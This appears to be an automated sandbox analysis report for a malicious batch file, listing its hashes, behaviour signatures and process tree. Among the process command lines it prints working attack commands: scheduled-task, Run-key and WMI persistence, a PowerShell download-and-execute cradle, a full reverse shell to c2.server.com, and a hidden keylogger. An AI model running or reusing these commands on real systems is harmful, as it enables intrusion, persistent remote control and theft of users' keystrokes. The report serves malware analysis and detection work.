Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:12
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_73037_014240.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_73037_014240.bat
Resource
win11-20260513-en
General
- Target rat_build_73037_014240.bat
- Size 4KB
- Sample260529-14ttwsbv2n
- SHA256 5e3df7c28800aefe9ffacb53552f6945ffffee59eb42d232b96040f9f25bf455
- MD5 67235bccc62712211fc8b4a175cb7476
- SHA1 30826aaccd9551a11e338be14e22110c19c2905a
- SHA512 3ecc9da2af4f66898f29821cfce6a27fbf1050a4e7d79a9e72b29ec1652eada6946b377e08ec8ddbfa06353a4c98a4546b6da2c408a47f4b749705df801f6ebb
- SSDEEP 96:zITrWaNTlF673HhbqU+3HTG/IUYGgV9cE6YyxxPbMrqgvOwiFgZk8mvlo1WzCdx:znaN5E3kUsHTtUYiwrquiFgkHlVzCH
- TLSH T12BA1F723A3A6B13086F0251CD9763C44572CD9FF2381CA8DFA49CDC51A4DF87A02A6D7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_73037.ps1
Signatures
-
pid Process 2112 powershell.exe 2312 powershell.exe 3348 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_73037 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_73037.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 2796 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1948 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 2708 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3652 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2112 powershell.exe 2112 powershell.exe 2312 powershell.exe 2312 powershell.exe 3348 powershell.exe 3348 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4064 WMIC.exe Token: SeSecurityPrivilege 4064 WMIC.exe Token: SeTakeOwnershipPrivilege 4064 WMIC.exe Token: SeLoadDriverPrivilege 4064 WMIC.exe Token: SeSystemProfilePrivilege 4064 WMIC.exe Token: SeSystemtimePrivilege 4064 WMIC.exe Token: SeProfSingleProcessPrivilege 4064 WMIC.exe Token: SeIncBasePriorityPrivilege 4064 WMIC.exe Token: SeCreatePagefilePrivilege 4064 WMIC.exe Token: SeBackupPrivilege 4064 WMIC.exe Token: SeRestorePrivilege 4064 WMIC.exe Token: SeShutdownPrivilege 4064 WMIC.exe Token: SeDebugPrivilege 4064 WMIC.exe Token: SeSystemEnvironmentPrivilege 4064 WMIC.exe Token: SeRemoteShutdownPrivilege 4064 WMIC.exe Token: SeUndockPrivilege 4064 WMIC.exe Token: SeManageVolumePrivilege 4064 WMIC.exe Token: 33 4064 WMIC.exe Token: 34 4064 WMIC.exe Token: 35 4064 WMIC.exe Token: 36 4064 WMIC.exe Token: SeIncreaseQuotaPrivilege 4064 WMIC.exe Token: SeSecurityPrivilege 4064 WMIC.exe Token: SeTakeOwnershipPrivilege 4064 WMIC.exe Token: SeLoadDriverPrivilege 4064 WMIC.exe Token: SeSystemProfilePrivilege 4064 WMIC.exe Token: SeSystemtimePrivilege 4064 WMIC.exe Token: SeProfSingleProcessPrivilege 4064 WMIC.exe Token: SeIncBasePriorityPrivilege 4064 WMIC.exe Token: SeCreatePagefilePrivilege 4064 WMIC.exe Token: SeBackupPrivilege 4064 WMIC.exe Token: SeRestorePrivilege 4064 WMIC.exe Token: SeShutdownPrivilege 4064 WMIC.exe Token: SeDebugPrivilege 4064 WMIC.exe Token: SeSystemEnvironmentPrivilege 4064 WMIC.exe Token: SeRemoteShutdownPrivilege 4064 WMIC.exe Token: SeUndockPrivilege 4064 WMIC.exe Token: SeManageVolumePrivilege 4064 WMIC.exe Token: 33 4064 WMIC.exe Token: 34 4064 WMIC.exe Token: 35 4064 WMIC.exe Token: 36 4064 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe Token: SeSecurityPrivilege 1756 WMIC.exe Token: SeTakeOwnershipPrivilege 1756 WMIC.exe Token: SeLoadDriverPrivilege 1756 WMIC.exe Token: SeSystemProfilePrivilege 1756 WMIC.exe Token: SeSystemtimePrivilege 1756 WMIC.exe Token: SeProfSingleProcessPrivilege 1756 WMIC.exe Token: SeIncBasePriorityPrivilege 1756 WMIC.exe Token: SeCreatePagefilePrivilege 1756 WMIC.exe Token: SeBackupPrivilege 1756 WMIC.exe Token: SeRestorePrivilege 1756 WMIC.exe Token: SeShutdownPrivilege 1756 WMIC.exe Token: SeDebugPrivilege 1756 WMIC.exe Token: SeSystemEnvironmentPrivilege 1756 WMIC.exe Token: SeRemoteShutdownPrivilege 1756 WMIC.exe Token: SeUndockPrivilege 1756 WMIC.exe Token: SeManageVolumePrivilege 1756 WMIC.exe Token: 33 1756 WMIC.exe Token: 34 1756 WMIC.exe Token: 35 1756 WMIC.exe Token: 36 1756 WMIC.exe Token: SeIncreaseQuotaPrivilege 1756 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4592 wrote to memory of 3652 4592 cmd.exe 88 PID 4592 wrote to memory of 2708 4592 cmd.exe 89 PID 4592 wrote to memory of 4064 4592 cmd.exe 90 PID 4592 wrote to memory of 1756 4592 cmd.exe 91 PID 4592 wrote to memory of 4200 4592 cmd.exe 92 PID 4592 wrote to memory of 1948 4592 cmd.exe 94 PID 4592 wrote to memory of 2796 4592 cmd.exe 100 PID 4592 wrote to memory of 2112 4592 cmd.exe 101 PID 4592 wrote to memory of 2312 4592 cmd.exe 102 PID 4592 wrote to memory of 3348 4592 cmd.exe 103 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_73037_014240.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_73037" /tr "C:\Users\Admin\AppData\Local\Temp\_73037.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3652
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_73037" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_73037.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:2708
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_73037", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4064
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_73037", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_73037.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_73037.txt2⤵PID:4200
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1948
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:2796
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_73037.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2112
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2312
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3348
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3ec7d6be864c269620ba32591fba1df0661a1063a0fe345e54c98e2605e0fac3
- MD5 d6474cc5d14ba596a21b64af467b782a
- SHA1 44ba120b1c01718efbd53e62c51bccb14e629076
- SHA512 25ac6a53390ac567be66312a1660d90bab8c457e2e8fba107cf650f8cb0858e9cd5f7beefc792ffb8dfec509fe9df0aab6fd719ce34604daf5a0ce807bfb79c7
- TLSH T150117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
- MD5 9b2bec72b86f9fd4436e8d351bc99cdd
- SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
- SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
- TLSH T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5hfzzxpn.juq.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH